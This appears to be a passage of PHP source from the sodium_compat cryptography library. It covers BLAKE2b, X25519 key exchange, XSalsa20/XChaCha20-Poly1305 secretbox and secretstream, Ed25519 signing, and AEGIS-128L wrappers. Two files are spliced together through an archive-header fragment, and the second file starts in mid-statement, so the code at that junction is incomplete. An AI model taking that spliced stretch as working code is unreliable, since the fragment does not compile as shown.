else { $s = null; } if (!empty($salt)) { $p = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($personal); } else { $p = null; } /** @var SplFixedArray $ctx */ $ctx = ParagonIE_Sodium_Core_BLAKE2b::init($k, $outputLength, $s, $p); return ParagonIE_Sodium_Core_BLAKE2b::contextToString($ctx); } /** * Update a hashing context for BLAKE2b with $message * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $ctx * @param string $message * @return string * @throws SodiumException * @throws TypeError */ public static function generichash_update($ctx, $message) { // This ensures that ParagonIE_Sodium_Core_BLAKE2b::$iv is initialized ParagonIE_Sodium_Core_BLAKE2b::pseudoConstructor(); /** @var SplFixedArray $context */ $context = ParagonIE_Sodium_Core_BLAKE2b::stringToContext($ctx); /** @var SplFixedArray $in */ $in = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($message); ParagonIE_Sodium_Core_BLAKE2b::update($context, $in, $in->count()); return ParagonIE_Sodium_Core_BLAKE2b::contextToString($context); } /** * Libsodium's crypto_kx(). * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $my_sk * @param string $their_pk * @param string $client_pk * @param string $server_pk * @return string * @throws SodiumException * @throws TypeError */ public static function keyExchange($my_sk, $their_pk, $client_pk, $server_pk) { return ParagonIE_Sodium_Compat::crypto_generichash( ParagonIE_Sodium_Compat::crypto_scalarmult($my_sk, $their_pk) . $client_pk . $server_pk ); } /** * ECDH over Curve25519 * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $sKey * @param string $pKey * @return string * * @throws SodiumException * @throws TypeError */ public static function scalarmult($sKey, $pKey) { $q = ParagonIE_Sodium_Core_X25519::crypto_scalarmult_curve25519_ref10($sKey, $pKey); self::scalarmult_throw_if_zero($q); return $q; } /** * ECDH over Curve25519, using the basepoint. * Used to get a secret key from a public key. * * @param string $secret * @return string * * @throws SodiumException * @throws TypeError */ public static function scalarmult_base($secret) { $q = ParagonIE_Sodium_Core_X25519::crypto_scalarmult_curve25519_ref10_base($secret); self::scalarmult_throw_if_zero($q); return $q; } /** * This throws an Error if a zero public key was passed to the function. * * @param string $q * @return void * @throws SodiumException * @throws TypeError */ protected static function scalarmult_throw_if_zero($q) { $d = 0; for ($i = 0; $i < self::box_curve25519xsalsa20poly1305_SECRETKEYBYTES; ++$i) { $d |= ParagonIE_Sodium_Core_Util::chrToInt($q[$i]); } /* branch-free variant of === 0 */ if (-(1 & (($d - 1) >> 8))) { throw new SodiumException('Zero public key is not allowed'); } } /** * XSalsa20-Poly1305 authenticated symmetric-key encryption. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $plaintext * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function secretbox($plaintext, $nonce, $key) { /** @var string $subkey */ $subkey = ParagonIE_Sodium_Core_HSalsa20::hsalsa20($nonce, $key); /** @var string $block0 */ $block0 = str_repeat("\x00", 32); /** @var int $mlen - Length of the plaintext message */ $mlen = ParagonIE_Sodium_Core_Util::strlen($plaintext); $mlen0 = $mlen; if ($mlen0 > 64 - self::secretbox_xsalsa20poly1305_ZEROBYTES) { $mlen0 = 64 - self::secretbox_xsalsa20poly1305_ZEROBYTES; } $block0 .= ParagonIE_Sodium_Core_Util::substr($plaintext, 0, $mlen0); /** @var string $block0 */ $block0 = ParagonIE_Sodium_Core_Salsa20::salsa20_xor( $block0, ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8), $subkey ); /** @var string $c */ $c = ParagonIE_Sodium_Core_Util::substr( $block0, self::secretbox_xsalsa20poly1305_ZEROBYTES ); if ($mlen > $mlen0) { $c .= ParagonIE_Sodium_Core_Salsa20::salsa20_xor_ic( ParagonIE_Sodium_Core_Util::substr( $plaintext, self::secretbox_xsalsa20poly1305_ZEROBYTES ), ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8), 1, $subkey ); } $state = new ParagonIE_Sodium_Core_Poly1305_State( ParagonIE_Sodium_Core_Util::substr( $block0, 0, self::onetimeauth_poly1305_KEYBYTES ) ); try { ParagonIE_Sodium_Compat::memzero($block0); ParagonIE_Sodium_Compat::memzero($subkey); } catch (SodiumException $ex) { $block0 = null; $subkey = null; } $state->update($c); /** @var string $c - MAC || ciphertext */ $c = $state->finish() . $c; unset($state); return $c; } /** * Decrypt a ciphertext generated via secretbox(). * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $ciphertext * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function secretbox_open($ciphertext, $nonce, $key) { /** @var string $mac */ $mac = ParagonIE_Sodium_Core_Util::substr( $ciphertext, 0, self::secretbox_xsalsa20poly1305_MACBYTES ); /** @var string $c */ $c = ParagonIE_Sodium_Core_Util::substr( $ciphertext, self::secretbox_xsalsa20poly1305_MACBYTES ); /** @var int $clen */ $clen = ParagonIE_Sodium_Core_Util::strlen($c); /** @var string $subkey */ $subkey = ParagonIE_Sodium_Core_HSalsa20::hsalsa20($nonce, $key); /** @var string $block0 */ $block0 = ParagonIE_Sodium_Core_Salsa20::salsa20( 64, ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8), $subkey ); $verified = ParagonIE_Sodium_Core_Poly1305::onetimeauth_verify( $mac, $c, ParagonIE_Sodium_Core_Util::substr($block0, 0, 32) ); if (!$verified) { try { ParagonIE_Sodium_Compat::memzero($subkey); } catch (SodiumException $ex) { $subkey = null; } throw new SodiumException('Invalid MAC'); } /** @var string $m - Decrypted message */ $m = ParagonIE_Sodium_Core_Util::xorStrings( ParagonIE_Sodium_Core_Util::substr($block0, self::secretbox_xsalsa20poly1305_ZEROBYTES), ParagonIE_Sodium_Core_Util::substr($c, 0, self::secretbox_xsalsa20poly1305_ZEROBYTES) ); if ($clen > self::secretbox_xsalsa20poly1305_ZEROBYTES) { // We had more than 1 block, so let's continue to decrypt the rest. $m .= ParagonIE_Sodium_Core_Salsa20::salsa20_xor_ic( ParagonIE_Sodium_Core_Util::substr( $c, self::secretbox_xsalsa20poly1305_ZEROBYTES ), ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8), 1, (string) $subkey ); } return $m; } /** * XChaCha20-Poly1305 authenticated symmetric-key encryption. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $plaintext * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function secretbox_xchacha20poly1305($plaintext, $nonce, $key) { /** @var string $subkey */ $subkey = ParagonIE_Sodium_Core_HChaCha20::hChaCha20( ParagonIE_Sodium_Core_Util::substr($nonce, 0, 16), $key ); $nonceLast = ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8); /** @var string $block0 */ $block0 = str_repeat("\x00", 32); /** @var int $mlen - Length of the plaintext message */ $mlen = ParagonIE_Sodium_Core_Util::strlen($plaintext); $mlen0 = $mlen; if ($mlen0 > 64 - self::secretbox_xchacha20poly1305_ZEROBYTES) { $mlen0 = 64 - self::secretbox_xchacha20poly1305_ZEROBYTES; } $block0 .= ParagonIE_Sodium_Core_Util::substr($plaintext, 0, $mlen0); /** @var string $block0 */ $block0 = ParagonIE_Sodium_Core_ChaCha20::streamXorIc( $block0, $nonceLast, $subkey ); /** @var string $c */ $c = ParagonIE_Sodium_Core_Util::substr( $block0, self::secretbox_xchacha20poly1305_ZEROBYTES ); if ($mlen > $mlen0) { $c .= ParagonIE_Sodium_Core_ChaCha20::streamXorIc( ParagonIE_Sodium_Core_Util::substr( $plaintext, self::secretbox_xchacha20poly1305_ZEROBYTES ), $nonceLast, $subkey, ParagonIE_Sodium_Core_Util::store64_le(1) ); } $state = new ParagonIE_Sodium_Core_Poly1305_State( ParagonIE_Sodium_Core_Util::substr( $block0, 0, self::onetimeauth_poly1305_KEYBYTES ) ); try { ParagonIE_Sodium_Compat::memzero($block0); ParagonIE_Sodium_Compat::memzero($subkey); } catch (SodiumException $ex) { $block0 = null; $subkey = null; } $state->update($c); /** @var string $c - MAC || ciphertext */ $c = $state->finish() . $c; unset($state); return $c; } /** * Decrypt a ciphertext generated via secretbox_xchacha20poly1305(). * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $ciphertext * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function secretbox_xchacha20poly1305_open($ciphertext, $nonce, $key) { /** @var string $mac */ $mac = ParagonIE_Sodium_Core_Util::substr( $ciphertext, 0, self::secretbox_xchacha20poly1305_MACBYTES ); /** @var string $c */ $c = ParagonIE_Sodium_Core_Util::substr( $ciphertext, self::secretbox_xchacha20poly1305_MACBYTES ); /** @var int $clen */ $clen = ParagonIE_Sodium_Core_Util::strlen($c); /** @var string $subkey */ $subkey = ParagonIE_Sodium_Core_HChaCha20::hchacha20($nonce, $key); /** @var string $block0 */ $block0 = ParagonIE_Sodium_Core_ChaCha20::stream( 64, ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8), $subkey ); $verified = ParagonIE_Sodium_Core_Poly1305::onetimeauth_verify( $mac, $c, ParagonIE_Sodium_Core_Util::substr($block0, 0, 32) ); if (!$verified) { try { ParagonIE_Sodium_Compat::memzero($subkey); } catch (SodiumException $ex) { $subkey = null; } throw new SodiumException('Invalid MAC'); } /** @var string $m - Decrypted message */ $m = ParagonIE_Sodium_Core_Util::xorStrings( ParagonIE_Sodium_Core_Util::substr($block0, self::secretbox_xchacha20poly1305_ZEROBYTES), ParagonIE_Sodium_Core_Util::substr($c, 0, self::secretbox_xchacha20poly1305_ZEROBYTES) ); if ($clen > self::secretbox_xchacha20poly1305_ZEROBYTES) { // We had more than 1 block, so let's continue to decrypt the rest. $m .= ParagonIE_Sodium_Core_ChaCha20::streamXorIc( ParagonIE_Sodium_Core_Util::substr( $c, self::secretbox_xchacha20poly1305_ZEROBYTES ), ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8), (string) $subkey, ParagonIE_Sodium_Core_Util::store64_le(1) ); } return $m; } /** * @param string $key * @return array Returns a state and a header. * @throws Exception * @throws SodiumException */ public static function secretstream_xchacha20poly1305_init_push($key) { # randombytes_buf(out, crypto_secretstream_xchacha20poly1305_HEADERBYTES); $out = random_bytes(24); # crypto_core_hchacha20(state->k, out, k, NULL); $subkey = ParagonIE_Sodium_Core_HChaCha20::hChaCha20($out, $key); $state = new ParagonIE_Sodium_Core_SecretStream_State( $subkey, ParagonIE_Sodium_Core_Util::substr($out, 16, 8) . str_repeat("\0", 4) ); # _crypto_secretstream_xchacha20poly1305_counter_reset(state); $state->counterReset(); # memcpy(STATE_INONCE(state), out + crypto_core_hchacha20_INPUTBYTES, # crypto_secretstream_xchacha20poly1305_INONCEBYTES); # memset(state->_pad, 0, sizeof state->_pad); return array( $state->toString(), $out ); } /** * @param string $key * @param string $header * @return string Returns a state. * @throws Exception */ public static function secretstream_xchacha20poly1305_init_pull($key, $header) { # crypto_core_hchacha20(state->k, in, k, NULL); $subkey = ParagonIE_Sodium_Core_HChaCha20::hChaCha20( ParagonIE_Sodium_Core_Util::substr($header, 0, 16), $key ); $state = new ParagonIE_Sodium_Core_SecretStream_State( $subkey, ParagonIE_Sodium_Core_Util::substr($header, 16) ); $state->counterReset(); # memcpy(STATE_INONCE(state), in + crypto_core_hchacha20_INPUTBYTES, # crypto_secretstream_xchacha20poly1305_INONCEBYTES); # memset(state->_pad, 0, sizeof state->_pad); # return 0; return $state->toString(); } /** * @param string $state * @param string $msg * @param string $aad * @param int $tag * @return string * @throws SodiumException */ public static function secretstream_xchacha20poly1305_push(&$state, $msg, $aad = '', $tag = 0) { $st = ParagonIE_Sodium_Core_SecretStream_State::fromString($state); # crypto_onetimeauth_poly1305_state poly1305_state; # unsigned char block[64U]; # unsigned char slen[8U]; # unsigned char *c; # unsigned char *mac; $msglen = ParagonIE_Sodium_Core_Util::strlen($msg); $aadlen = ParagonIE_Sodium_Core_Util::strlen($aad); if ((($msglen + 63) >> 6) > 0xfffffffe) { throw new SodiumException( 'message cannot be larger than SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX bytes' ); } # if (outlen_p != NULL) { # *outlen_p = 0U; # } # if (mlen > crypto_secretstream_xchacha20poly1305_MESSAGEBYTES_MAX) { # sodium_misuse(); # } # crypto_stream_chacha20_ietf(block, sizeof block, state->nonce, state->k); # crypto_onetimeauth_poly1305_init(&poly1305_state, block); # sodium_memzero(block, sizeof block); $auth = new ParagonIE_Sodium_Core_Poly1305_State( ParagonIE_Sodium_Core_ChaCha20::ietfStream(32, $st->getCombinedNonce(), $st->getKey()) ); # crypto_onetimeauth_poly1305_update(&poly1305_state, ad, adlen); $auth->update($aad); # crypto_onetimeauth_poly1305_update(&poly1305_state, _pad0, # (0x10 - adlen) & 0xf); $auth->update(str_repeat("\0", ((0x10 - $aadlen) & 0xf))); # memset(block, 0, sizeof block); # block[0] = tag; # crypto_stream_chacha20_ietf_xor_ic(block, block, sizeof block, # state->nonce, 1U, state->k); $block = ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc( ParagonIE_Sodium_Core_Util::intToChr($tag) . str_repeat("\0", 63), $st->getCombinedNonce(), $st->getKey(), ParagonIE_Sodium_Core_Util::store64_le(1) ); # crypto_onetimeauth_poly1305_update(&poly1305_state, block, sizeof block); $auth->update($block); # out[0] = block[0]; $out = $block[0]; # c = out + (sizeof tag); # crypto_stream_chacha20_ietf_xor_ic(c, m, mlen, state->nonce, 2U, state->k); $cipher = ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc( $msg, $st->getCombinedNonce(), $st->getKey(), ParagonIE_Sodium_Core_Util::store64_le(2) ); # crypto_onetimeauth_poly1305_update(&poly1305_state, c, mlen); $auth->update($cipher); $out .= $cipher; unset($cipher); # crypto_onetimeauth_poly1305_update # (&poly1305_state, _pad0, (0x10 - (sizeof block) + mlen) & 0xf); $auth->update(str_repeat("\0", ((0x10 - 64 + $msglen) & 0xf))); # STORE64_LE(slen, (uint64_t) adlen); $slen = ParagonIE_Sodium_Core_Util::store64_le($aadlen); # crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen); $auth->update($slen); # STORE64_LE(slen, (sizeof block) + mlen); $slen = ParagonIE_Sodium_Core_Util::store64_le(64 + $msglen); # crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen); $auth->update($slen); # mac = c + mlen; # crypto_onetimeauth_poly1305_final(&poly1305_state, mac); $mac = $auth->finish(); $out .= $mac; # sodium_memzero(&poly1305_state, sizeof poly1305_state); unset($auth); # XOR_BUF(STATE_INONCE(state), mac, # crypto_secretstream_xchacha20poly1305_INONCEBYTES); $st->xorNonce($mac); # sodium_increment(STATE_COUNTER(state), # crypto_secretstream_xchacha20poly1305_COUNTERBYTES); $st->incrementCounter(); // Overwrite by reference: $state = $st->toString(); /** @var bool $rekey */ $rekey = ($tag & ParagonIE_Sodium_Compat::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY) !== 0; # if ((tag & crypto_secretstream_xchacha20poly1305_TAG_REKEY) != 0 || # sodium_is_zero(STATE_COUNTER(state), # crypto_secretstream_xchacha20poly1305_COUNTERBYTES)) { # crypto_secretstream_xchacha20poly1305_rekey(state); # } if ($rekey || $st->needsRekey()) { // DO REKEY self::secretstream_xchacha20poly1305_rekey($state); } # if (outlen_p != NULL) { # *outlen_p = crypto_secretstream_xchacha20poly1305_ABYTES + mlen; # } return $out; } /** * @param string $state * @param string $cipher * @param string $aad * @return bool|array{0: string, 1: int} * @throws SodiumException */ public static function secretstream_xchacha20poly1305_pull(&$state, $cipher, $aad = '') { $st = ParagonIE_Sodium_Core_SecretStream_State::fromString($state); $cipherlen = ParagonIE_Sodium_Core_Util::strlen($cipher); # mlen = inlen - crypto_secretstream_xchacha20poly1305_ABYTES; $msglen = $cipherlen - ParagonIE_Sodium_Compat::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_ABYTES; $aadlen = ParagonIE_Sodium_Core_Util::strlen($aad); # if (mlen > crypto_secretstream_xchacha20poly1305_MESSAGEBYTES_MAX) { # sodium_misuse(); # } if ((($msglen + 63) >> 6) > 0xfffffffe) { throw new SodiumException( 'message cannot be larger than SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX bytes' ); } # crypto_stream_chacha20_ietf(block, sizeof block, state->nonce, state->k); # crypto_onetimeauth_poly1305_init(&poly1305_state, block); # sodium_memzero(block, sizeof block); $auth = new ParagonIE_Sodium_Core_Poly1305_State( ParagonIE_Sodium_Core_ChaCha20::ietfStream(32, $st->getCombinedNonce(), $st->getKey()) ); # crypto_onetimeauth_poly1305_update(&poly1305_state, ad, adlen); $auth->update($aad); # crypto_onetimeauth_poly1305_update(&poly1305_state, _pad0, # (0x10 - adlen) & 0xf); $auth->update(str_repeat("\0", ((0x10 - $aadlen) & 0xf))); # memset(block, 0, sizeof block); # block[0] = in[0]; # crypto_stream_chacha20_ietf_xor_ic(block, block, sizeof block, # state->nonce, 1U, state->k); $block = ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc( $cipher[0] . str_repeat("\0", 63), $st->getCombinedNonce(), $st->getKey(), ParagonIE_Sodium_Core_Util::store64_le(1) ); # tag = block[0]; # block[0] = in[0]; # crypto_onetimeauth_poly1305_update(&poly1305_state, block, sizeof block); $tag = ParagonIE_Sodium_Core_Util::chrToInt($block[0]); $block[0] = $cipher[0]; $auth->update($block); # c = in + (sizeof tag); # crypto_onetimeauth_poly1305_update(&poly1305_state, c, mlen); $auth->update(ParagonIE_Sodium_Core_Util::substr($cipher, 1, $msglen)); # crypto_onetimeauth_poly1305_update # (&poly1305_state, _pad0, (0x10 - (sizeof block) + mlen) & 0xf); $auth->update(str_repeat("\0", ((0x10 - 64 + $msglen) & 0xf))); # STORE64_LE(slen, (uint64_t) adlen); # crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen); $slen = ParagonIE_Sodium_Core_Util::store64_le($aadlen); $auth->update($slen); # STORE64_LE(slen, (sizeof block) + mlen); # crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen); $slen = ParagonIE_Sodium_Core_Util::store64_le(64 + $msglen); $auth->update($slen); # crypto_onetimeauth_poly1305_final(&poly1305_state, mac); # sodium_memzero(&poly1305_state, sizeof poly1305_state); $mac = $auth->finish(); # stored_mac = c + mlen; # if (sodium_memcmp(mac, stored_mac, sizeof mac) != 0) { # sodium_memzero(mac, sizeof mac); # return -1; # } $stored = ParagonIE_Sodium_Core_Util::substr($cipher, $msglen + 1, 16); if (!ParagonIE_Sodium_Core_Util::hashEquals($mac, $stored)) { return false; } # crypto_stream_chacha20_ietf_xor_ic(m, c, mlen, state->nonce, 2U, state->k); $out = ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc( ParagonIE_Sodium_Core_Util::substr($cipher, 1, $msglen), $st->getCombinedNonce(), $st->getKey(), ParagonIE_Sodium_Core_Util::store64_le(2) ); # XOR_BUF(STATE_INONCE(state), mac, # crypto_secretstream_xchacha20poly1305_INONCEBYTES); $st->xorNonce($mac); # sodium_increment(STATE_COUNTER(state), # crypto_secretstream_xchacha20poly1305_COUNTERBYTES); $st->incrementCounter(); # if ((tag & crypto_secretstream_xchacha20poly1305_TAG_REKEY) != 0 || # sodium_is_zero(STATE_COUNTER(state), # crypto_secretstream_xchacha20poly1305_COUNTERBYTES)) { # crypto_secretstream_xchacha20poly1305_rekey(state); # } // Overwrite by reference: $state = $st->toString(); /** @var bool $rekey */ $rekey = ($tag & ParagonIE_Sodium_Compat::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY) !== 0; if ($rekey || $st->needsRekey()) { // DO REKEY self::secretstream_xchacha20poly1305_rekey($state); } return array($out, $tag); } /** * @param string $state * @return void * @throws SodiumException */ public static function secretstream_xchacha20poly1305_rekey(&$state) { $st = ParagonIE_Sodium_Core_SecretStream_State::fromString($state); # unsigned char new_key_and_inonce[crypto_stream_chacha20_ietf_KEYBYTES + # crypto_secretstream_xchacha20poly1305_INONCEBYTES]; # size_t i; # for (i = 0U; i < crypto_stream_chacha20_ietf_KEYBYTES; i++) { # new_key_and_inonce[i] = state->k[i]; # } $new_key_and_inonce = $st->getKey(); # for (i = 0U; i < crypto_secretstream_xchacha20poly1305_INONCEBYTES; i++) { # new_key_and_inonce[crypto_stream_chacha20_ietf_KEYBYTES + i] = # STATE_INONCE(state)[i]; # } $new_key_and_inonce .= ParagonIE_Sodium_Core_Util::substR($st->getNonce(), 0, 8); # crypto_stream_chacha20_ietf_xor(new_key_and_inonce, new_key_and_inonce, # sizeof new_key_and_inonce, # state->nonce, state->k); $st->rekey(ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc( $new_key_and_inonce, $st->getCombinedNonce(), $st->getKey(), ParagonIE_Sodium_Core_Util::store64_le(0) )); # for (i = 0U; i < crypto_stream_chacha20_ietf_KEYBYTES; i++) { # state->k[i] = new_key_and_inonce[i]; # } # for (i = 0U; i < crypto_secretstream_xchacha20poly1305_INONCEBYTES; i++) { # STATE_INONCE(state)[i] = # new_key_and_inonce[crypto_stream_chacha20_ietf_KEYBYTES + i]; # } # _crypto_secretstream_xchacha20poly1305_counter_reset(state); $st->counterReset(); $state = $st->toString(); } /** * Detached Ed25519 signature. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $sk * @return string * @throws SodiumException * @throws TypeError */ public static function sign_detached($message, $sk) { return ParagonIE_Sodium_Core_Ed25519::sign_detached($message, $sk); } /** * Attached Ed25519 signature. (Returns a signed message.) * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $sk * @return string * @throws SodiumException * @throws TypeError */ public static function sign($message, $sk) { return ParagonIE_Sodium_Core_Ed25519::sign($message, $sk); } /** * Opens a signed message. If valid, returns the message. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $signedMessage * @param string $pk * @return string * @throws SodiumException * @throws TypeError */ public static function sign_open($signedMessage, $pk) { return ParagonIE_Sodium_Core_Ed25519::sign_open($signedMessage, $pk); } /** * Verify a detached signature of a given message and public key. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $signature * @param string $message * @param string $pk * @return bool * @throws SodiumException * @throws TypeError */ public static function sign_verify_detached($signature, $message, $pk) { return ParagonIE_Sodium_Core_Ed25519::verify_detached($signature, $message, $pk); } } PK(L[1src/Compat.phpnu[>= 8; } $val = ParagonIE_Sodium_Core_Util::intArrayToString($A); } /** * @param string $encoded * @param int $variant * @param string $ignore * @return string * @throws SodiumException */ public static function base642bin( #[\SensitiveParameter] $encoded, $variant, $ignore = '' ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($encoded, 'string', 1); /** @var string $encoded */ $encoded = (string) $encoded; if (ParagonIE_Sodium_Core_Util::strlen($encoded) === 0) { return ''; } // Just strip before decoding if (!empty($ignore)) { $encoded = str_replace($ignore, '', $encoded); } try { switch ($variant) { case self::BASE64_VARIANT_ORIGINAL: return ParagonIE_Sodium_Core_Base64_Original::decode($encoded, true); case self::BASE64_VARIANT_ORIGINAL_NO_PADDING: return ParagonIE_Sodium_Core_Base64_Original::decode($encoded, false); case self::BASE64_VARIANT_URLSAFE: return ParagonIE_Sodium_Core_Base64_UrlSafe::decode($encoded, true); case self::BASE64_VARIANT_URLSAFE_NO_PADDING: return ParagonIE_Sodium_Core_Base64_UrlSafe::decode($encoded, false); default: throw new SodiumException('invalid base64 variant identifier'); } } catch (Exception $ex) { if ($ex instanceof SodiumException) { throw $ex; } throw new SodiumException('invalid base64 string'); } } /** * @param string $decoded * @param int $variant * @return string * @throws SodiumException */ public static function bin2base64( #[\SensitiveParameter] $decoded, $variant ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($decoded, 'string', 1); /** @var string $decoded */ $decoded = (string) $decoded; if (ParagonIE_Sodium_Core_Util::strlen($decoded) === 0) { return ''; } switch ($variant) { case self::BASE64_VARIANT_ORIGINAL: return ParagonIE_Sodium_Core_Base64_Original::encode($decoded); case self::BASE64_VARIANT_ORIGINAL_NO_PADDING: return ParagonIE_Sodium_Core_Base64_Original::encodeUnpadded($decoded); case self::BASE64_VARIANT_URLSAFE: return ParagonIE_Sodium_Core_Base64_UrlSafe::encode($decoded); case self::BASE64_VARIANT_URLSAFE_NO_PADDING: return ParagonIE_Sodium_Core_Base64_UrlSafe::encodeUnpadded($decoded); default: throw new SodiumException('invalid base64 variant identifier'); } } /** * Cache-timing-safe implementation of bin2hex(). * * @param string $string A string (probably raw binary) * @return string A hexadecimal-encoded string * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function bin2hex( #[\SensitiveParameter] $string ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($string, 'string', 1); if (self::useNewSodiumAPI()) { return (string) sodium_bin2hex($string); } if (self::use_fallback('bin2hex')) { return (string) call_user_func('\\Sodium\\bin2hex', $string); } return ParagonIE_Sodium_Core_Util::bin2hex($string); } /** * Compare two strings, in constant-time. * Compared to memcmp(), compare() is more useful for sorting. * * @param string $left The left operand; must be a string * @param string $right The right operand; must be a string * @return int If < 0 if the left operand is less than the right * If = 0 if both strings are equal * If > 0 if the right operand is less than the left * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function compare( #[\SensitiveParameter] $left, #[\SensitiveParameter] $right ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($left, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($right, 'string', 2); if (self::useNewSodiumAPI()) { return (int) sodium_compare($left, $right); } if (self::use_fallback('compare')) { return (int) call_user_func('\\Sodium\\compare', $left, $right); } return ParagonIE_Sodium_Core_Util::compare($left, $right); } /** * Authenticated Encryption with Associated Data: Decryption * * Algorithm: * AEGIS-128L * * @param string $ciphertext Encrypted message (with MAC appended) * @param string $assocData Authenticated Associated Data (unencrypted) * @param string $nonce Number to be used only Once; must be 32 bytes * @param string $key Encryption key * * @return string The original plaintext message * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedInferredReturnType * @psalm-suppress MixedReturnStatement */ public static function crypto_aead_aegis128l_decrypt( $ciphertext = '', $assocData = '', $nonce = '', #[\SensitiveParameter] $key = '' ) { ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_AEGIS128L_NPUBBYTES) { throw new SodiumException('Nonce must be CRYPTO_AEAD_AEGIS_128L_NPUBBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_AEGIS128L_KEYBYTES) { throw new SodiumException('Key must be CRYPTO_AEAD_AEGIS128L_KEYBYTES long'); } $ct_length = ParagonIE_Sodium_Core_Util::strlen($ciphertext); if ($ct_length < self::CRYPTO_AEAD_AEGIS128L_ABYTES) { throw new SodiumException('Message must be at least CRYPTO_AEAD_AEGIS128L_ABYTES long'); } $ct = ParagonIE_Sodium_Core_Util::substr( $ciphertext, 0, $ct_length - self::CRYPTO_AEAD_AEGIS128L_ABYTES ); $tag = ParagonIE_Sodium_Core_Util::substr( $ciphertext, $ct_length - self::CRYPTO_AEAD_AEGIS128L_ABYTES, self::CRYPTO_AEAD_AEGIS128L_ABYTES ); return ParagonIE_Sodium_Core_AEGIS128L::decrypt($ct, $tag, $assocData, $key, $nonce); } /** * Authenticated Encryption with Associated Data: Encryption * * Algorithm: * AEGIS-128L * * @param string $plaintext Message to be encrypted * @param string $assocData Authenticated Associated Data (unencrypted) * @param string $nonce Number to be used only Once; must be 32 bytes * @param string $key Encryption key * * @return string Ciphertext with 32-byte authentication tag appended * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_aead_aegis128l_encrypt( #[\SensitiveParameter] $plaintext = '', $assocData = '', $nonce = '', #[\SensitiveParameter] $key = '' ) { ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_AEGIS128L_NPUBBYTES) { throw new SodiumException('Nonce must be CRYPTO_AEAD_AEGIS128L_KEYBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_AEGIS128L_KEYBYTES) { throw new SodiumException('Key must be CRYPTO_AEAD_AEGIS128L_KEYBYTES long'); } list($ct, $tag) = ParagonIE_Sodium_Core_AEGIS128L::encrypt($plaintext, $assocData, $key, $nonce); return $ct . $tag; } /** * Return a secure random key for use with the AEGIS-128L * symmetric AEAD interface. * * @return string * @throws Exception * @throws Error */ public static function crypto_aead_aegis128l_keygen() { return random_bytes(self::CRYPTO_AEAD_AEGIS128L_KEYBYTES); } /** * Authenticated Encryption with Associated Data: Decryption * * Algorithm: * AEGIS-256 * * @param string $ciphertext Encrypted message (with MAC appended) * @param string $assocData Authenticated Associated Data (unencrypted) * @param string $nonce Number to be used only Once; must be 32 bytes * @param string $key Encryption key * * @return string The original plaintext message * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedInferredReturnType * @psalm-suppress MixedReturnStatement */ public static function 